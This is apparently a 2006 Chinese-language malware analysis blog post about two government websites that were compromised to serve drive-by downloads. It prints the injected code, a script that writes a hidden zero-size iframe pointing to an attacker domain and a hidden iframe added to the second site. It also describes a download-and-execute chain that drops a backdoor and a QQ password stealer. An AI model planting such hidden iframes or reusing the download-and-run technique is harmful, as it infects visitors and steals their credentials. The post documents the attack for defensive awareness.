两个会自动下载恶意程序文件的政府网站
来源:互联网 发布:电脑进销存软件 编辑:程序博客网 时间:2024/04/28 10:03
endurer 原创
2006-08-18 第1版
打开这两个网站时,Kaspersky 提示发现 Exploit.JS.ADODB.stream.e。
第一个网站 hxxp://www.jing***.gov.cn的首页加入代码:
--------
<TR><script language=javascript src=bbs.js></script>
<TD vAlign=top align=right width="48%">
--------
bbs.js的内容为:
--------
document.write("<iframe src=hxxp://wzxqy.chao***kuai.com/***1***23/index.htm width=0 height=0></iframe>")
--------
hxxp://wzxqy.chao***kuai.com/***1***23/index.htm 的内容为JavaScript脚本,由于其中包含了攻击者所属组织和QQ号,所里不公开具体内容。
该脚本利用 Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下载文件 hxxp://wzxqy.chao***kuai.com/***1***23/123.exe, 保存为 IE临时文件夹中的 winlogin.exe,并利用Shell.Application 对象 的 ShellExecute 方法 来运行。(这与 小心通过QQ尾巴中的网址(Q-Zone.****qq.C0M)传播的维金/Viking蠕虫 中第二段脚本程序相似)
123.exe 下载两个文件:
hxxp://wzxqy***01.vip***6.25idc.cn/1***/888.exe (Kaspersky 报为 Backdoor.Win32.Hupigon.byq)
hxxp://wzxqy***01.vip***6.25idc.cn/1***/777.exe (Kaspersky 报为 Trojan-PSW.Win32.QQRob.hf)
777.exe 会:
1、终止瑞星实时监控中心,强行关闭瑞星杀毒软件窗口,删除瑞星在注册表中的开机启动项,如RavTask
2、把自己复制为%windir%/system32/NTdHcP.exe,并运行
3、修改注册表,在 [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下创建键"NTdhcp",其值为:"C:/WINDOWS/System32/NTdhcp.exe"
(endurer注:c:/windows是Windows系统文件夹路径,在不同的电脑中可能不同)
4、终止QQ进程,盗取QQ密码
第二个网站 hxxp://www.hj***.gov.cn的首页末被直接加入代码:
--------
<iframe src="hxxp://wzxqy.chao***kuai.Qcom/***1***23/index.htm" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
--------
经分析发现两个网站在同一个服务器上,因此被加入同一恶意代码也就不足为奇了。
- 两个会自动下载恶意程序文件的政府网站
- 两个下载恶意程序文件的政府网站换花样了
- 下载Trojan-PSW.Win32.QQPass.ra等恶意程序的政府网站
- 又一个下载恶意文件的政府网站
- 一个会下载 Trojan.DL.Agent.wzr 的政府网站
- 某政府网站被加入自动下载病毒文件的代码(第3版)
- 一个会下载至少3个Viking等恶意程序的网站
- 又一个自动下载病毒的政府网站(第3版)
- 某政府网站被加入的自动下载病毒文件的代码变了花样(第3版)
- 某政府网站被加入的自动下载病毒文件的代码再创新花样(第1版)
- chrome怎么打开网站会自动下载|chr…
- 对政府网站的建议
- 国外政府网站的特点
- 七台河政府网站的陷落
- IE下载docx(xlsx,pptx)扩展名的文件时,会自动将扩展名变为zip
- IE火狐下载文件的后缀会根据MIME自动改变
- 下载电子书比较好的两个网站
- 下载dll文件的网站
- 35岁前应该做好的十件事
- 接口起到的作用
- 控制台写程序
- 一生要做的99件事、要看的50部电影
- 与人相处 24法则
- 两个会自动下载恶意程序文件的政府网站
- 学生是最最骄傲的穷人
- StringBuilder
- SAP的一些HR函数
- 中国历史上十大经典遗言
- 编写自己的IDE
- HyperSnap-DX ver. 6.10.02
- 由微软中国研究开发集团高层合影照想到的
- 疯狂的石头经典台词